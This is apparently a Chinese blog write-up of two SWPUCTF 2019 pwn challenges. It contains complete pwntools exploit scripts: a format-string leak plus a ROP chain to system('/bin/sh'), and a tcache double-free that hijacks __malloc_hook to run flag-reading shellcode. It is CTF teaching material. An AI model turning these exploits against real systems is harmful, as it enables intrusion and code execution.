ctf

SWPUCTF赛题复现

pwn

Posted by wjt on December 16, 2019

SWPUCTF 赛题复现

没时间写mobile,reverse的了,但不得不说比赛很舒适,题目质量都不错

pwn

login

  • 漏洞类型:格式化字符串漏洞,bss段数组泄露栈信息

  • 利用思路:通过泄露__libc_start_main来泄露libc地址,再rop

先来看眼题目:

程序保护只开了nx,:)

这里比较明显的是个格式化字符串漏洞,比较特殊的是那个format是在bss段上的,但是我们一样可以通过它泄露栈上的信息

因为主体还是栈题,所以我们的初步构想是先泄露libc地址,那在printf处下断点,到上图的printf处查看栈的分布。

发现可以泄露__libc_start_main+241的地址,因为这个地址实在libc段上的,所以可计算得出libc基地址,同时泄露ebp地址,为了待会构造rop用。他们距离格式化字符串的偏移分别为15和6

在得到libc基地址和ebp,顺便得到ret地址后,我们开始构造rop

这里使用system和binsh得到权限。思路是ret位置填上三个pop和一个ret的gadget(为什么这么做,看下去就知道了,初步原因是因为我们之前得到的ebp内的地址(old ebp)距离ebp为4个地址单位)

然后在old ebp后的old ret处填上我们shellcode的地址(system地址),再在后面填上新ret地址和binsh地址。这里其实也有队伍直接在最初的ret地址处直接上system地址,据说也可获得权限。。。但这里还是按照程序流来做。

[+] ebp: 0xffffd718

[+] target_addr(ret地址): 0xffffd70c

[+] libc: 0xf7dfa000

[+] system: 0xf7e36d10

[+] binsh: 0xf7f758cf

这是得到的五个地址,可以帮助理解下面的内容。

  • 一开始的栈布局

然后根据程序,先输入一个地址做输入地址,再往这个地址输入数据,这样重复构造完成rop.

  • 这是输入完三个pop和一个ret地址的gadget地址后的布局,为什么要这么做呢,其实是因为我们old ebp距离ebp的位置有四个地质单元,所以我们要再原先leave ebp,esp,pop ebp之后,再pop三次,然后在地址0xffffd71c 处标为ret地址,使ip指向system函数地址

  • 最后完成rop构造的布局,其中0xffffd720应该是新ret的地址没什么用,0xffffd724是binsh地址

  • 官方魔改的exp, 这里的offset1和offset2是根据在read函数下断点,然后在查看它的栈结构得到的偏移值
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "i386"
context.terminal = ['tmux','splitw','-h']
elf = ELF("login")

def exp():
    sh = process("./login")
    lib = ELF("./bc.so.6")
    sh.sendlineafter(":","a")
    payload = '%6$pAA%15$pBB\x00'
    #gdb.attach(sh)
    sh.sendlineafter(":",payload)
    sh.recvuntil("0x")
    ebp = int(sh.recvuntil("AA",True),16)
    print hex(ebp)
    print 'ebp => ',hex(ebp)
    target_addr = ebp - (0xffe54918 - 0xffe5490c)
    libc = int(sh.recvuntil("BB",True),16) - 0x18e81#lib.symbols['__libc_start_main'] - 241
    print 'libc => ', hex(libc)
    system = libc + lib.symbols['system']
    binsh = libc + lib.search("/bin/sh\x00").next()
    
    def inputMsg(msg):
        sh.sendlineafter("!",msg)
    offset1 = 6
    offset2 = 10
    written_size = 0
    offset = 0

    # [+] ebp: 0xffffd718
    # [+] target_addr: 0xffffd70c (ret)
    # [+] libc: 0xf7dfa000
    # [+] system: 0xf7e36d10
    # [+] binsh: 0xf7f758cf

    
    gdb.attach(sh,'b read')
    position = (target_addr + offset) % 0x10000
    payload = "%" + str(position - written_size) + "c%" + str(offset1) + "$hn\x00"
    inputMsg(payload)
    
    oneByte = 0x8d29
    payload = "%" + str(oneByte - written_size) + "c%" + str(offset2) + "$hn\x00"
    inputMsg(payload)

    offset = 2
    position = (target_addr + offset) % 0x10000
    payload = "%" + str(position - written_size) + "c%" + str(offset1) + "$hn\x00"
    inputMsg(payload)

    oneByte = 0x804
    payload = "%" + str(oneByte - written_size) + "c%" + str(offset2) + "$hn\x00"
    inputMsg(payload)

    
    offset = 16
    position = (target_addr + offset) % 0x10000
    payload = "%" + str(position - written_size) + "c%" + str(offset1) + "$hn\x00"
    inputMsg(payload)
    oneByte = system % 0x10000
    payload = "%" + str(oneByte - written_size) + "c%" + str(offset2) + "$hn\x00"
    inputMsg(payload)
    
    offset = 18
    position = (target_addr + offset) % 0x10000
    payload = "%" + str(position - written_size) + "c%" + str(offset1) + "$hn\x00"
    inputMsg(payload)
    oneByte = system >> 16
    payload = "%" + str(oneByte - written_size) + "c%" + str(offset2) + "$hn\x00"
    inputMsg(payload)

    
    offset = 20
    position = (target_addr + offset) % 0x10000
    payload = "%" + str(position - written_size) + "c%" + str(offset1) + "$hn\x00"
    inputMsg(payload)
    oneByte = 0xbeef
    payload = "%" + str(oneByte - written_size) + "c%" + str(offset2) + "$hn\x00"
    inputMsg(payload)

    
    offset = 22
    position = (target_addr + offset) % 0x10000
    payload = "%" + str(position - written_size) + "c%" + str(offset1) + "$hn\x00"
    inputMsg(payload)
    oneByte = 0xdead
    payload = "%" + str(oneByte - written_size) + "c%" + str(offset2) + "$hn\x00"
    inputMsg(payload)
    
    offset = 24
    position = (target_addr + offset) % 0x10000
    payload = "%" + str(position - written_size) + "c%" + str(offset1) + "$hn\x00"
    inputMsg(payload)
    oneByte = binsh % 0x10000
    payload = "%" + str(oneByte - written_size) + "c%" + str(offset2) + "$hn\x00"
    inputMsg(payload)

    offset = 26
    position = (target_addr + offset) % 0x10000
    payload = "%" + str(position - written_size) + "c%" + str(offset1) + "$hn\x00"
    inputMsg(payload)
    oneByte = binsh >> 16
    payload = "%" + str(oneByte - written_size) + "c%" + str(offset2) + "$hn\x00"
    inputMsg(payload)
    
    inputMsg("wllmmllw")
    log.success("ebp: " + hex(ebp))
    log.success("target_addr: " + hex(target_addr))
    log.success("libc: " + hex(libc))
    log.success("system: " + hex(system))
    log.success("binsh: " + hex(binsh))
    sh.interactive()

if __name__ == "__main__":
    exp()

p1Kkheap

漏洞类型:tcache_attack漏洞,rwxp段

利用思路:通过tcache来泄露heap_base地址,再通过double free使tcache变为0xff(255)

  • 这题似乎有分预期解,主要说一种。

  • 先来分析程序,保护全开,同时禁了execve和system函数,所以不能通过拿shell来获得flag,并且题目提示,flag位置在当前目录下,于是考虑注入shellcode读取flag文件。

有add,show,edit,delete,exit五个函数。在delete中,free后指针未置为零是一个漏洞点,意味着我们可以在free了以后依旧可以打印出堆块的内容

题目附件中给的libc版本是2.27的,于是尝试考虑tcache attack。

查看题目开心的发现了rwxp段,估计是注入shellcode到该段,在shellcode中读取flag文件内容,然后再在另外地方(用__malloc_hook触发是常识了)设置trigger到该段。

那如何利用tcache呢?

tcache引入了tcache_entry 和 tcache_pertheread_struct两个结构体。其中tcache_perthread_struct 是整个 tcache 的管理结构,如果能控制这个结构体,那么无论我们 malloc 的 size 是多少,地址都是可控的。

1
2
3
4
5
6
7
8
9
10
typedef struct tcache_entry
{
  struct tcache_entry *next;
} tcache_entry;

typedef struct tcache_perthread_struct
{
  char counts[TCACHE_MAX_BINS];
  tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

这里,tcache的具体内容不再展开,但大致可以理解为把他当作高配版的fastbin理解用 :)

因为tcache内的堆块也是依靠fd来指向前堆块,同时tcache_put()对double free不做检查(虽然现在已经被提了commit)

那我们要做的就是double free使其自己指向自己(即fd位置填上了自己malloc得到的地址,这里是因为tcache相互之间是fd指向fd地址的,结构图参考wiki),然后泄露出fd的内容,即heap_base地址, 这里就不放图了。。

再然后我们刚才提到过,如果能控制tcache_perthread_struct,就可以控制malloc的size和地址了,调试发现,我们之前malloc得到的堆地址距离该结构体相差也不远. 这个结构体也很好判断,2代表了counts数,而在后面存储的即是entries的那些地址。

在 libc 2.26 之后的 tcache 机制中,未对 fd 指针指向的 chunk 进行 size 检查,从而可以将 fd 指针覆盖任意地址。在 free 该被溢出 chunk 并且两次 malloc 后可以实现任意地址修改,那我们再次malloc,通过edit修改fd地址,然后再次malloc抵消之前doublefree的操作,使counts变为0,再次malloc使得counts变为0xff

接下来要尝试泄露__malloc_hook地址,按着结构体来分布,size改为一个大值(虽然已经大于7),然后不要忘了entries是指针(即是堆块),填上0x250-0x40+1, 再在相应地址处填上想放入unsortedbin的堆块地址,当我们再次malloc和free时,因为tcache的个数已经大于七,于是将释放的堆块放入unsortedbin中,这里提醒一个点就是这里tcache attack的堆块都要是small bins(原因看机制),然后我们就可以泄露出malloc hook地址了

接下来和上面类似的操作,但是我们这次给两个entries填上了地址,一个是为了分配到rwxp段,一个是为了待会修改mallochook地址内为rwxp段,以触发shellcode。这个就不再展开了,看exp调一下明白了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.terminal = ['tmux','splitw','-h']
context.arch = "amd64"
elf = ELF("./p1KkHeap")
lib = 0
sh = 0
def add(size):
    sh.sendlineafter(":","1")
    sh.sendlineafter(":",str(size))
def edit(idx,content):
    sh.sendlineafter(":","3")
    sh.sendlineafter(":",str(idx))
    sh.sendafter(":",content)
def free(idx):
    sh.sendlineafter(":","4")
    sh.sendlineafter(":",str(idx))
def show(idx):
    sh.sendlineafter(":","2")
    sh.sendlineafter(":",str(idx))
def backdoor(content):
    sh.sendlineafter(":","666")
    sh.sendlineafter("(y or n)","y")
    sh.sendafter("start",content)
def debug():
    gdb.attach(sh,"x/30xg 0x555555767250")
#0x555555767250

def pwn():
    global sh
    global lib
    sh = process("./p1KkHeap")
    lib = ELF("./bc.so.6")
    add(0x90)
    free(0)
    free(0)
    show(0)
    sh.recvuntil("content: ")
    heap_base = u64(sh.recvuntil("\n",True).ljust(8,"\x00")) - 0x260
    add(0x90)
    edit(1,p64(heap_base + 0x10))
    add(0x90)
    add(0x90)#0xff = 255
    payload = p64(0) + p64(0xffffffffffffffff) * 7 + p64(0) + p64(0x201) + p64(0) * 6 + p64(heap_base + 0x60)
    edit(3,payload)
    add(0x90)
    free(4)
    show(4)
    sh.recvuntil("content: ")
    libc = u64(sh.recvuntil("\x7f",False).ljust(8,'\x00')) - 0x70 - lib.symbols['__malloc_hook']
    __malloc_hook = libc + lib.symbols['__malloc_hook']
    payload = p64(0) + p64(0xffffffffffffffff) * 7 + p64(0) + p64(0x201) + p64(0) * 6 + p64(0x66660000) + p64(__malloc_hook)
    edit(3,payload)
    add(0x90)
    payload = shellcraft.open("flag.txt")
    payload += shellcraft.read(3,0x66660100,0x30)
    payload += shellcraft.write(1,0x66660100,0x30)
    edit(5,asm(payload))
    add(0xa0)# 0x7ffff7dcfc30 __malloc_hook
    edit(6,p64(0x66660000))
    debug()
    add(0x90)
    log.success("heap_base: " + hex(heap_base))
    log.success("libc: " + hex(libc))
    sh.interactive()
if __name__ == "__main__":
    pwn()